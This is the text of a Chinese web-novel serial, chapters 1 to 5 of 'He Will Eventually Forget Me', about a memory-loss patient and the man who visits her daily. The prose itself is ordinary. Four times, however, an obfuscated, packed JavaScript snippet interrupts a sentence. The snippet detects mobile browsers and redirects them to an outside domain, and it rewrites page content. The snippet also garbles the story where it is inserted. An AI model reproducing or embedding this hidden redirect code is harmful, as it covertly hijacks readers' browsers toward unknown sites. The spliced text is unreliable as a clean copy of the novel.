《他终将遗忘我》 1. 第 1 章 窗外的天空是那种住院部特有的、被窗框切割成四方的灰白。像一块用旧了的抹布，擦不亮，也丢不掉。 许念晞靠在摇起的病床上，目光没什么焦点地落在那片天空上。床头柜上放着半杯凉掉的水和一本崭新的硬壳笔记本。护士早上来量体温时，体贴地撕掉了昨天的那一页日历，并在新的一页角落，画上了一个小小的、用圆珠笔勾勒的笑脸。 许念晞的手指无意识地蜷缩了一下。她记得护士撕日历的动作，记得那笔尖划过纸面的沙沙声，甚至记得护士离开时轻轻带上门的那声“咔哒”。 但她需要很努力地去想，才能模糊地记起——哦，那是早上发生的事情。 而现在，窗外的天色已经透出傍晚的沉静。 记忆像是塞满了棉花的旧枕头，蓬松，却抓不住任何实在的东西。有时她会拿着水杯怔住，不明白自己为什么要举起它。有时她会看着窗台上那盆绿萝，叶子有些蔫，却想不起是谁放在那里，又放了多久。 主治医生建议她写日记。 “哪怕只写几个字呢，许小姐。”医生语气温和，带着职业性的鼓励，“给明天的自己留点线索。锚点，明白吗？对抗遗忘的锚点。” 那本笔记本崭新得刺眼。她拿起笔，笔尖悬在扉页上空良久，墨水最终不受控制地晕开一个小小的、深蓝色的圆点。 写什么呢？ 写给谁看？ 一个连自己都快忘记的人，还需要记住什么？记住今天吃了什么药？还是记住窗外那片永远不会变蓝的天？ 最终，她只在那空白的页面上，缓慢地、有些虚浮地写下了当天的日期。字迹有些陌生，不像她曾经苦练过的、带着点锋利笔锋的签名。 下午的时候，病房里来了访客。 是一个看起来三十岁左右的女人，穿着剪裁得体的西装套裙，妆容精致，手里提着一个果篮。她眼里有种藏不住的难过和一种过分小心翼翼的神情，像是怕惊扰了玻璃罩里的蝴蝶。 “念晞，”女人放下果篮，声音放得极轻，带着试探，“是我，林薇。我们大学时上下铺，记得吗？” 许念晞安静地看着她，目光像扫描仪一样掠过对方精心描画的眉毛、殷红的嘴唇。大脑深处似乎有什么极其细微的东西被拨动了一下，发出几不可闻的弦音，但很快又沉寂下去，留不下一丝涟漪。 她摇了摇头，嘴角努力牵起一个表示抱歉的弧度。 被称为林薇的女人眼圈几乎是瞬间就红了。她慌忙低下头，假借整理果篮里的橙子来掩饰情绪。“没事，没事，不记得没关系。你看，我给你带了你以前最爱吃的橙子，赣南脐橙，你说甜得不像话，能甜到心里去……” 女人开始絮絮叨叨地说起往事。那些关于大学宿舍的夜谈，关于一起骂过的渣男，关于通宵赶设计稿的疯狂，关于食堂某道永远手抖的打菜阿姨……鲜活热闹的词汇从她嘴里蹦出来，却像隔着一层厚厚的、模糊的毛玻璃。许念晞安静地听着，偶尔点点头，像是在听一个与己无关的、别人的故事。 直到林薇的话语里，不经意地嵌入了一个名字。 “……那时候何宇薛那家伙，创业刚起步，真是忙得脚不沾地，像个陀螺。有好几次你生病发烧住院，他那边项目卡在关键节点，根本脱不开身，还是我们几个姐妹轮流来照顾的。为这个，我没少私下骂他混蛋，说你真是……”林薇的声音戛然而止，她猛地捂住嘴，眼里闪过一丝清晰的慌乱，像是说了什么绝对不该说的话，“念晞，我……我不是那个意思，他后来……” 何宇薛。 三个字。 像一枚淬了冰的细针，毫无预兆地刺入脑海最混沌、最深的区域。 许念晞的指尖猛地一颤，仿佛被无形的电流击中。 没有清晰的画面，没有连贯的故事脉络。 只有一种感觉——心脏最柔软的地方被狠狠揪了一下，传来一阵尖锐而熟悉的酸痛。那痛感密密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418926|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻麻，瞬间窜遍四肢百骸，带来一阵几乎让她窒息的空洞感。 她下意识地垂下眼，盯着雪白被套上细微的纹理，声音轻得像耳语，带着一丝自己都无法理解的茫然：“……何宇薛？” 林薇的脸色微微发白，连忙摆手，语气变得急促而否定：“没什么没什么！一个……一个很多年不联系的老同学而已，无关紧要的人。念晞，你别想了，医生说了你要静养，不能耗神……” 无关紧要。 许念晞在心里轻轻重复着这四个字。 是吗？ 可是……为什么心口那里，像是被什么东西凿开了一个洞，正呼呼地漏着冷风？ 探望时间结束的铃声适时响起，解救了这场突如其来的尴尬。林薇几乎是如释重负地站起身，又叮嘱了几句好好休息之类的话，便匆匆离开了病房，背影甚至带着点落荒而逃的意味。 病房里重新恢复了寂静，只有医疗仪器规律而冰冷的滴答声。 许念晞独自坐在床上，很久都没有动。 窗外，那片灰白色的天空终于彻底暗了下去。 许久，她慢慢地、慢慢地伸出手，拿过了床头那本崭新的笔记本。冰凉的硬壳封面触碰到指尖，让她轻轻颤了一下。 她翻过写着日期的那一页，来到一片全新的空白。 笔握在手里，却比之前更加沉重。 那个名字带来的心悸感，那阵尖锐的酸痛，还在胸腔里隐隐回荡。 她犹豫了很久。 最终，笔尖落下。 在那页空白的纸上，在窗外漫进来的、越来越浓的暮色里，她极其缓慢地、一笔一划地写下了三个字—— 何宇薛。 墨迹干涸。 像一个无人解答的谜题，一个抛向虚无的问号，孤零零地停留在苍白的纸页中央。 她看着那名字，眼神是一片全然的陌生与迷茫。 仿佛写下它的，并不是她自己。 2. 第 2 章 第二天，许念晞醒来时，有片刻的怔忪。 阳光透过百叶窗，在病房地板上切出明暗相间的条纹。空气里消毒水的味道依旧，但似乎比昨天更浓了些。她转过头，第一眼就看到了床头柜上那本摊开的硬壳笔记本。 页面是空白的。 不，也不能算完全空白。在页眉的位置，写着一个日期。是昨天的日期。字迹有些虚浮，她看了好几眼，才勉强认出那是自己写的。 所以，昨天……是真实存在过的。不是又一个模糊的梦境。 她撑着坐起身，目光扫过房间。窗台上的绿萝叶子似乎更耷拉了一些。果篮还在，里面的橙子颜色鲜艳，与病房的素白格格不入。 林薇。 那个名字跳进脑海，带着一种模糊的熟悉感，像隔水听音。上下铺……大学……设计稿…… 还有……另一个名字。 是什么？ 她蹙起眉，努力想去捕捉，但脑海里只有一片空白，以及一种莫名的心悸感，空落落的，带着点未散尽的酸楚。 门被轻轻敲响。 许念晞抬起头。不是医生查房的时间，也不是护士换药。 “请进。” 门开了，进来的却不是林薇。 是一个男人。 很高，穿着熨帖的深色大衣，肩头似乎还沾着外面带来的寒气。他的面容英俊，但眉宇间笼罩着一层难以化开的疲惫和某种紧绷的情绪。手里捧着一大束白色的花，花瓣娇嫩，沾着细微的水珠，与他周身那种冷硬的气质有些不符。 他的目光几乎是瞬间就锁定了她，脚步在门口顿了一秒，然后才快步走进来。那眼神太过复杂，太过沉重，像包含了千言万语，却又死死压抑着，让许念晞感到一阵莫名的不自在，甚至想避开他的注视。 “念晞。”他开口，声音低沉，带着一丝不易察觉的沙哑，像是很久没有好好说过话，或者……熬了很深的夜。 他认识她。 许念晞看着他，眼神里是纯粹的茫然和戒备。她下意识地往后靠了靠，手指悄悄攥紧了被角。 男人敏锐地捕捉到了她这个细微的动作。他眼底似乎有什么东西碎裂了一下，那层紧绷的平静出现了一丝裂缝，泄露出其下的痛楚。但他很快控制住了，将花轻轻放在床头柜上，动作甚至显得有些笨拙，像是很不习惯做这种事。 白色的花瓣挨着那本空白的笔记本。 “我……”他喉结滚动了一下，似乎在艰难地措辞，“我叫何宇薛。我……来看看你。” 何宇薛。 这个名字落入耳中。 像一颗石子投入深不见底的古井。 许念晞等待着。等待着昨天那阵突如其来的心悸，那阵尖锐的酸痛。 但是没有。 什么都没有。 大脑深处一片沉寂。没有涟漪，没有回响。这个名字，和眼前这个看起来备受煎熬、风尘仆仆的男人，没有激起任何记忆的火花。 她甚至又努力地想了一下。何、宇、薛。三个字拆开，组合。依旧陌生。 她看着他眼底那几乎要满溢出来的、她无法理解的沉重情感，只觉得困惑，还有一丝被打扰的不安。 “哦。”她最终只是应了一声，声音平淡，带着病人常有的那种虚弱和疏离，“谢谢你的花。” 何宇薛的身体似乎僵硬了一下。他看着她，那双深邃的眼睛里翻涌着太多情绪——震惊、难以置信、受伤，还有一种近乎绝望的探寻，仿佛想从她脸上找出哪怕一丝一毫伪装的痕迹。 但他找到的，只有一片空白。比那笔记本的页面还要干净彻底的空白。 “……你，”他声音更哑了，带着一种小心翼翼，仿佛怕惊飞一只蝴蝶，“你不记得我了？” 许念晞摇了摇头，动作很轻，却带着一种残忍的肯定。 “不记得。”她说，“医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418927|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生说我记忆力出了点问题。很多事……很多人，都不太记得了。” 她顿了顿，看着他瞬间苍白的脸色，补充了一句，试图让气氛不那么尴尬：“也许……我们以前并不太熟？” 这句话像一把淬了冰的匕首，直直刺入何宇薛的心脏。 他猛地后退了半步，像是无法承受这句话带来的冲击。下颌线绷得极紧，眼眶以肉眼可见的速度迅速泛红。他死死地盯着她，像是要从她眼里看出一个不一样的答案。 许念晞被他看得有些害怕，手指将被子攥得更紧。 漫长的、令人窒息的沉默在病房里蔓延。 最终，何宇薛极其缓慢地、几乎是颓然地松开了握紧的拳头。他眼底那汹涌的浪潮仿佛在瞬间褪去，只留下荒芜的沙岸。疲惫感更深地刻进了他的眉宇。 “……是啊，”他扯了扯嘴角，那笑容比哭还难看，声音低得几乎听不见，“也许……是吧。” 他又站了一会儿，目光贪婪地在她脸上流连，仿佛要将她的模样刻进灵魂深处。然后，他哑声说：“你好好休息。我……下次再来看你。” 他没有等许念晞回应，几乎是仓促地转身，大步离开了病房。关门的声音很轻，却像一声沉重的叹息，重重砸在房间里。 许念晞独自坐在床上，看着那扇关上的门，又看了看床头那束过分洁白、过分鲜嫩的花。 空气里，似乎残留着一丝冷冽的、属于外面的气息，还有一种……极淡的、她说不清道不明的苦涩。 她的目光最终落回那本笔记本上。 空白的页面。只有一个昨天的日期。 她拿起笔。 犹豫了很久。 然后，在日期下面，另起一行，她慢慢地写下： 「一个叫何宇薛的人来看我。带了白色的花。」 笔尖停顿。 她蹙眉想了想，补充了三个字： 「不认识。」 3. 第 3 章 何宇薛开始频繁地出现在病房。 有时是清晨，带着还冒着热气的、她以前或许喜欢过的某家粥铺的早餐；有时是傍晚，风尘仆仆，大衣裹着外面的冷意，沉默地坐在床边的椅子上，一坐就是很久。 许念晞始终是茫然的。 她习惯了每天记忆的流失，就像习惯了窗外的天色变化。对于这个名叫何宇薛的男人，她无法从空白的脑海里搜寻出任何与之相关的碎片。他的出现，他的注视，他偶尔试图说起的、关于“过去”的模糊字句，都像投入深潭的石子，沉下去，便再无回声。 她只在笔记本上记录： 「何宇薛来了。带了早餐。」「何宇薛晚上来的，坐了很久，没说话。」「他又带了白色的花，和上次一样。」 每一笔记录后面，都跟着那三个字：「不认识。」 像是一种对自己的提醒，也像是一种无声的壁垒。 何宇薛看着她写。他的目光有时会落在那些娟秀却陌生的字迹上，看着那一次次出现的“不认识”，下颌线总是会绷紧，然后默默地移开视线，看向窗外，或者只是看着她安静的侧脸，眼神里的东西沉得让人喘不过气。 这天下午，阳光难得的好，透过百叶窗，在地板上拉出长长的、温暖的光带。 许念晞的精神似乎也好了一些。她靠着枕头，看着阳光里飞舞的细微尘埃，忽然轻声开口，像是自言自语，又像是问他：“我们……以前真的认识吗？” 何宇薛正削着苹果的手猛地一顿，水果刀险些划伤指尖。他抬起头，眼底翻涌着剧烈的波澜，像是被这个问题刺痛了最深的地方。 “认识。”他的声音沙哑得厉害，每一个字都像是从砂纸上磨过，“很久以前就认识。” “哦。”许念晞应了一声，眼神依旧清澈，却也依旧空洞，“可是我不记得了。一点都想不起来了。” 她顿了顿，像是有些抱歉，又像是纯粹的好奇：“那……我们是什么关系呢？” 苹果皮从何宇薛手中断裂，掉落在垃圾桶里，发出一声轻响。 他看着她，看着阳光在她苍白的脸上投下柔和的光晕，看着她那双因为疾病而变得格外纯净、也格外残忍的眼睛。这个问题，简单至极，却像一把最锋利的刀，精准地剖开了他所有的防御。 是什么关系？ 他该如何定义那段他后知后觉、却早已被她亲手斩断的过往？是创业者身后那个沉默的影子？是无数次被他以忙碌为由推开的存在？是他功成名就后才发现再也找不到的……遗憾？ 千言万语堵在喉咙口，却被她那全然陌生的目光冻结。 最终，他几乎是溃败地垂下了眼睫，声音低涩：“……朋友。只是……朋友。” “这样啊。”许念晞点了点头，似乎接受了这个答案，又似乎并不真正在意。她的注意力很快被窗外掠过的一只飞鸟吸引，目光追了过去。 何宇薛坐在那里，手里拿着那个削了一半的苹果，僵得像一尊雕塑。阳光落在他身上，却照不进那双晦暗的眼眸。 深深的无力感像潮水般将他淹没。他带着全部的悔恨和迟来的汹涌爱意而来，想要弥补，想要抓住，却发现面对的是一个正在不断遗忘的沙漏。他每一次的出现，每一次笨拙的尝试，对她而言，都只是一次次新的“遇见”。 而每一次“遇见”，对她逐渐空白的记忆而言，又何尝不是一次新的……“分别”？ 他永远在介绍一个她不再认识的自己。她永远在认识一个她即将忘记的陌生人。 这是一个无解的闭环，一场清醒着沉沦的凌迟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418928|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在这时，许念晞忽然转过头，目光重新落在他脸上，带着一种病人特有的、不掺杂质的好奇，轻声问：“那你以后……还会来看我吗？” 何宇薛的心脏像是被一只冰冷的手狠狠攥住，痛得几乎痉挛。 他看着她清澈却无情的眼睛，喉结剧烈地滚动了一下，红着眼眶，用尽全身力气才挤出一点破碎的声音： “……会。” “只要你还在这里，”他声音哑得几乎听不见，却带着一种偏执的绝望，“我每天都会来。” “让你……重新认识我。” 许念晞听了，只是微微偏了下头，像是听到了什么有趣却难以理解的事情。然后，她很轻地笑了一下，那笑容短暂得像阳光下的泡沫。 “哦，”她说，“那你要记得告诉我你的名字。我很容易忘记。” 何宇薛再也无法忍受。 他猛地站起身，椅子腿在地板上刮出刺耳的声响。他背对着她，肩膀无法抑制地微微颤抖。 “……好。”他从齿缝里挤出这个字，几乎耗尽了所有力气，“我会的。” 他没有回头，大步离开了病房，几乎是落荒而逃。 关门声过后，病房里只剩下阳光和寂静。 许念晞脸上的那点浅淡笑意慢慢褪去。她茫然地看了一会儿紧闭的房门，然后像是完成了某项任务，缓缓地拿过了床头的笔记本。 笔尖在纸页上沙沙作响。 「下午，阳光很好。一个叫何宇薛的朋友来看我。」 她停笔，看着“朋友”两个字，偏头想了想，似乎不确定是否准确。 最终，她还是在那行字下面，一如既往地、工整地写下： 「他说他明天还会来。」 「但我不确定，明天我是否还记得他。」 4. 第 4 章 何宇薛果然每天都来。 像上了发条的钟，精准，执拗，风雨无阻。他的出现逐渐成了病房里一个固定的景观，甚至比护士查房还要规律。许念晞从一开始的些许无措和戒备，到后来渐渐习惯了这个沉默男人的存在。 他并不总是试图和她说话。很多时候，他只是安静地坐在那张离病床不远的椅子上，处理他似乎永远也处理不完的工作。笔记本电脑放在膝头，屏幕的光映亮他轮廓分明的侧脸，眉头习惯性地微蹙着，偶尔指尖在键盘上快速敲击，发出轻微而规律的嗒嗒声。 那声音并不惹人厌烦，反而像一种白噪音，奇异地填充了病房里过于空旷的寂静。 有时，他会带来一些东西。不总是花，有时是一本封面素雅的散文集，有时是一盒据说对恢复记忆有益的精油香薰，有时只是一杯温度恰到好处的热牛奶。他递东西给她时，动作总是有些生硬的谨慎，仿佛怕碰碎了她。 许念晞大多只是安静地接受，然后轻声道谢。她依旧想不起他是谁，但那本笔记本上关于“何宇薛”的记录，开始逐渐增多，不再仅仅是“来了”和“不认识”。 「何宇薛带了牛奶，温度刚好。」「他今天穿了一件灰色的毛衣，看起来没那么严肃了。」「他在我旁边工作，打字声很轻。」「窗外下雨了，他进来时肩膀有点湿。」 记录变得具体，像一个个浮标，试图标记出时间流逝的痕迹。但她依旧会在记录的末尾，时而写下“还是想不起”，时而又会困惑地注上一句“他看起来很难过”。 这种困惑，在与林薇的又一次见面后，达到了顶峰。 林薇这次来，情绪稳定了许多，不再试图唤起那些徒劳的记忆，只是聊些琐碎的近况，娱乐圈的八卦，或者公司里的趣事。许念晞大多听着，偶尔微笑。 临走前，林薇看着床头柜上那束新鲜替换的白色小苍兰，犹豫了一下，还是低声问：“他……最近常来？” 许念晞顺着她的目光看去，点了点头：“嗯。几乎每天都来。” 林薇眼神复杂，叹了口气：“念晞，你知道他……”她顿了顿，似乎在斟酌用词，“他为了能天天过来，把公司未来三个月的重要会议和谈判全都压缩到了上午，经常夜里两三点还在开越洋视频会议。听说还推掉了一个很重要的政府合作考察团……” 许念晞怔住了。她转头看向窗外，今天何宇薛来得比平时晚一些，天空正飘着细密的雨丝。 她想起他有时眼底浓重的青黑，想起他接电话时压低声音快速而疲惫的指令，想起他大衣肩头未干的雨渍……原来那不仅仅是因为忙碌，而是因为……他把所有能挤出的时间，都耗费在了这条通往医院的道路上，和这间充斥着消毒水气味的病房里。 为什么？ 一个只是“朋友”的人，为什么要做到这种地步？ 她心里的困惑像藤蔓一样缠绕生长。 下午，何宇薛来时，果然带着一身湿气。发梢被雨水打湿，几缕黑发贴在额角，让他看起来比平时少了几分冷硬，多了一丝不易察觉的脆弱。他照例沉默地坐下，打开电脑。 许念晞没有像往常一样立刻拿起书或者看向窗外。她看着他，目光里带着一种纯粹的、探究的茫然。 何宇薛很快察觉到了她的注视，从屏幕前抬起头，眼神带着询问。 “林薇说，”许念晞轻声开口，声音在安静的病房里显得格外清晰，“你为了每天来这里，工作得很辛苦。” 何宇薛明显愣了一下，似乎没料到她会突然说起这个。他眼底掠过一丝不易察觉的波动，随即垂下眼睫，遮住了情绪，手指无意识地摩挲着电脑边缘。 “没什么，”他的声音依旧低沉，“工作……总是做不完的。调整一下就好。” “为什么？”许念晞追问，像是一个执着于得到答案的孩子，“为什么一定要每天来？” 何宇薛沉默了。 窗外的雨声淅淅沥沥，敲打着玻璃窗。病房里的空气仿佛凝滞了，只有仪器规律的滴答声在背景里作响。 他抬起头，目光再次落在她脸上。那目光深沉得像外面的雨天，里面翻涌着太多许念晞看不懂的情绪——痛苦、挣扎、温柔、绝望，还有一种近乎偏执的坚定。 “因为，”他开口，声音哑得厉害，每一个字都像是从胸腔最深处艰难地挤压出来，“我害怕。” “害怕什么？” “害怕有一天我来，你会连‘何宇薛’这三个字，都不再记录。”他看着她，眼圈不受控制地微微泛红，“害怕连‘不认识’这三个字，都再也看不到。” 许念晞的心口，像是被什么东西轻轻撞了一下。一种陌生的、酸涩的情绪缓缓弥漫开来。她不太明白这种情绪是什么，只是觉得有点闷，有点难受。 她低下头，手指无意识地揪着雪白的被角。 “可是……记录也没用。”她声音很轻，像在陈述一个早已认清的事实，带着一种纯粹的残忍，“我每天都会忘记。笔记本上的字，看的时候好像知道，但睡一觉，第二天早上再看，就像在看别人的故事。” 她举起那本越来越厚的笔记本，眼神茫然：“它们……锚不住任何东西。记忆就像流沙，不管我多用力想抓住，它还是会流走。” 何宇薛看着她脆弱而困惑的样子，看着她手里那本徒劳的笔记本，心脏像是被一只无形的手狠狠揪住，痛得几乎无法呼吸。那股一直压抑着的、名为绝望的潮水，几乎要将他彻底淹没。 他猛地合上电脑，发出不大却不合时宜的一声响。他站起身，几步走到床边。 许念晞被他突然的动作惊得微微一颤，下意识地往后缩了一下，仰头看着他，眼睛里带着一丝受惊小鹿般的惶惑。 何宇薛停住了脚步。他闭了闭眼，极力压下胸腔里翻腾的情绪。再睁开时，眼底那片汹涌的浪潮被强行压抑下去，只剩下一种深不见底的、沉重的悲哀。 他缓缓地、极其缓慢地在她床边的椅子上坐下，身体前倾，拉近了两人之间的距离。他没有碰触她，只是用一种近乎贪婪的目光，牢牢地看着她的眼睛，仿佛想通过这最后的窗口，望进那个正在不断封闭的世界。 “没关系。”他开口，声音低哑，却带着一种奇异的、破碎的温柔， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418929|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “念晞，没关系的。” 许念晞怔怔地看着他。 “你忘记，没关系。”他一字一句，说得极其缓慢，极其清晰，像是在对她承诺，又像是在对自己施加某种酷刑，“我会记得。” “我会记得所有的事。记得你最喜欢吃巷口那家甜品店的芒果班戟，记得你下雨天总不爱带伞，记得你画设计稿时喜欢咬笔头，记得你……暗恋了一个混蛋整整三年。” 他的声音哽了一下，眼眶红得骇人，却依旧强迫自己说下去。 “你只需要知道一件事，”他凝视着她，目光像最后的锚链，死死抓住即将漂远的孤舟，“每天来的这个人，叫何宇薛。” “他……”他深吸一口气，用尽全身力气，吐出那几个重逾千斤的字，“他很重要。对你来说，他曾经……很重要。” 最后几个字，几乎轻得如同叹息，带着无法言喻的痛楚和卑微的希冀。 许念晞彻底愣住了。 她看着他通红的眼眶，看着他脸上那种近乎崩溃却又强行维持的平静，看着他眼底深不见底的痛苦和……一种她无法理解的、浓烈到几乎灼伤人的情感。 心口那股酸涩的情绪再次涌上来，比之前更汹涌，更陌生。她张了张嘴，却发不出任何声音。 大脑依旧是一片空白，找不到任何关于“重要”的佐证。 可是…… 为什么心脏会跳得这么快？ 为什么喉咙像是被什么东西堵住了？ 为什么……看着他的眼睛，她会有一种想哭的冲动？ 她不明白。 最终，她只是下意识地、极其缓慢地，点了点头。像一个懵懂的孩子，接收了一个她无法理解却莫名沉重的指令。 何宇薛看着她点头的动作，眼底猛地迸发出一丝极其微弱的光亮，但那光亮很快又黯淡下去，被更深的痛楚和疲惫覆盖。 他没有再说什么，只是深深地看了她一眼，仿佛要将这一刻她的模样刻入骨髓。然后，他站起身，重新拿起电脑和外套。 “你休息吧。”他的声音恢复了之前的低哑，甚至更添了几分疲惫，“我明天再来。” 他转身离开，背影在昏暗的雨天下显得格外孤寂沉重。 病房门轻轻合上。 许念晞独自坐在床上，很久都没有动。窗外的雨似乎下得更大了，哗啦啦的声响充斥着整个空间。 她缓缓拿过床头的笔记本，翻到新的一页。 笔尖在纸上停留了很久，墨水晕开一个小点。 她回想着他刚才的话，回想着他通红的眼眶和沉重的目光。 最终，她写下： 「下雨。何宇薛来了。」 「他说他很重要。」 「他说他会记得所有事。」 写到这里，她停住了。她没有再写下“不认识”。 只是看着那几行字，看了很久很久。然后，她抬起手，轻轻按在自己的心口位置。 那里，依旧残留着一种陌生的、酸胀的、让她无所适从的感觉。 仿佛那里，也曾是一片需要被锚定的流沙。 5. 第 5 章 日子像复印机里吐出的纸，每一张都带着相似的苍白底色，印着模糊不清、次日便会褪色的字迹。何宇薛的每日出现，成了这苍白循环里最固定的一道墨痕。 许念晞开始习惯在清晨醒来后，第一件事是看向床边的椅子。有时他已经在那里，膝上放着电脑，眉头微锁；有时椅子空着，她会下意识瞥向门口，直到那熟悉的高大身影带着外面的气息推门而入。 她依旧想不起他是谁。但笔记本上关于他的记录，变得越来越细碎，甚至带上了一点主观的色彩。 「何宇薛今天系的领带颜色很暗，像没下雨的阴天。」「他带来的草莓很甜。他好像不爱吃甜的，一个都没动。」「他接电话时语气很凶，但挂掉后看我一眼，又好像有点慌。」「今天阳光很好，落在他头发上，有浅浅的金色。」 她不再写“不认识”，但会在一旁画一个小小的问号。像在疑惑，又像在标记一个未解的谜题。 何宇薛敏锐地察觉到了这种细微的变化。他依旧沉默居多，但眼神里那蚀骨的痛苦似乎被一层小心翼翼的、不敢惊动的希冀稍稍覆盖。他带来的东西更多样了，有时甚至是一张看似随手买的唱片，放一些旋律舒缓的古典乐，填充两人之间无言的空白。 这天下午，护士刚给许念晞换过药。一种新加入的药剂似乎引起了些许不适，她感到一阵莫名的烦躁和头晕，太阳穴突突地跳着。 何宇薛进来时，她正闭着眼，眉头紧蹙，脸色比平时更白几分。 他的脚步立刻顿住，几乎是瞬间就察觉到她的异样。“怎么了？”他快步走到床边，声音里带着不易察觉的紧绷，“哪里不舒服？” 许念晞睁开眼，视线有些模糊。逆着光，他高大的身影轮廓显得有些虚幻。她摇了摇头，想说什么，一阵更强烈的眩晕猛地袭来，伴随着胃里翻江倒海的恶心感。 她猛地捂住嘴，干呕了几下，什么也吐不出来，只觉得天旋地转，冷汗瞬间浸湿了额发。 “医生！”何宇薛脸色骤变，转身就要冲出去叫医生，声音里的慌乱再也掩饰不住。 “别……”许念晞虚弱地抓住他的衣袖，指尖冰凉，“只是……有点晕。药……好像有点反应。” 何宇薛停住脚步，回头看她痛苦的样子，眼神里的惊慌和心疼几乎要溢出来。他僵在原地，似乎不知该如何是好，想碰触她却又不敢，只能焦灼地俯身看着她，声音哑得不成样子：“很难受吗？忍一下，我叫护士来问问……” 他按了呼叫铃，手指因为紧绷而微微发抖。 护士很快进来，检查了一下，安抚说是正常药物反应，休息一下会缓解。护士离开后，何宇薛依旧维持着那个俯身的姿势，一动不动地看着她，仿佛她一眨眼就会碎掉。 许念晞的眩晕感慢慢平息，但一种极度的疲惫感席卷而来。她闭上眼，呼吸微弱。 模糊中，感觉到一只温热而略带薄茧的手，极其轻柔地拂开她汗湿的额发。动作笨拙，甚至带着明显的颤抖，却有一种难以言喻的小心和珍重。 然后，那只手很快地缩了回去，快得像一个错觉。 她太累了，没有力气去探究。 再次有意识时，是被低低的说话声吵醒。声音来自门外，压得很低，却压抑着激烈的情绪。 是何宇薛的声音。 “……副作用说明书上根本没有这一条！她刚才很难受，呕吐，头晕！这就是你们说的最新方案？” 另一个声音似乎是主治医生，冷静地解释着什么，但被何宇薛打断。 “我不听这些！风险？概率？落在她身上就是百分之百！我要的是她尽可能舒服一点，哪怕……哪怕只是拖延时间，也不能让她这么痛苦！” 他的声音里有一种近乎失控的暴怒，但又死死压抑着，像困兽的低吼。 “如果这种药不行，就换！用最好的，最温和的！钱不是问题，任何资源都不是问题！我去联系国外的……” 后面的话渐渐低下去，变成了模糊的争执。 许念晞静静地听着。那些话像碎片一样飘进她空茫的脑海。 副作用。痛苦。拖延时间。最好的。钱不是问题。 每一个词都像小锤子，轻轻敲打着某层脆弱的壁垒。 她一直知道自己是生病了，生了很重的病。医生说过，记忆衰退是症状之一。但她从未深究过这病的本质，或者说，她的记忆无法支撑她去深究“绝症”意味着什么。她活在一种被迫的、短暂的“当下”。 门外的争执似乎平息了。脚步声远去。 过了一会儿，病房门被轻轻推开。何宇薛走了进来，脸上带着刻意调整过的平静，但眼底的红血丝和眉宇间残留的焦躁痕迹无法完全抹去。 他看到她已经睁开了眼睛，微微一愣，随即快步走近：“醒了？感觉好点了吗？” 许念晞没有回答他的问题。她只是看着他，看了很久，然后轻声问，声音像易碎的琉璃：“我的病……是不是很严重？” 何宇薛的身体猛地僵住。瞳孔几不可查地一缩，脸上那点强装的平静瞬间破裂，露出底下深藏的惊惶。他张了张嘴，似乎想立刻否认，但迎上她那双清澈的、带着茫然却直指核心的眼睛，所有安抚的谎言都卡在了喉咙里。 他沉默了。一种沉重得令人窒息的沉默在病房里蔓延。 他的沉默，本身就是一种答案。 许念晞的心缓缓地、缓缓地沉下去。一种冰冷的感觉从四肢百骸蔓延开来。她其实并不感到特别的恐惧或悲伤，更像是一种……终于落地的确认。原来那些身体的无力，那些持续的昏睡，那些越来越多的药物，都指向这样一个终点。 “哦。”她轻轻地应了一声，垂下眼睫，看着自己瘦削苍白、布满针孔的手背，“所以，才会一直忘记，对吗？” 何宇薛的心脏像是被这句话狠狠刺穿。他看着她平静得过分的侧脸，那种近乎残忍的、因遗忘而带来的平静，几乎要让他崩溃。 他猛地在她床边蹲下身，这个动作让他不得不仰视着她，打破了他一直保持的安全距离。他伸出手，似乎想握住她的手，却在即将碰触的瞬间死死攥成了拳，手背上青筋凸起。 “念晞……”他的声音破碎不堪，带着浓重的鼻音，每一个字都浸满了无法言说的痛苦，“别怕……我会想办法，我一定……” 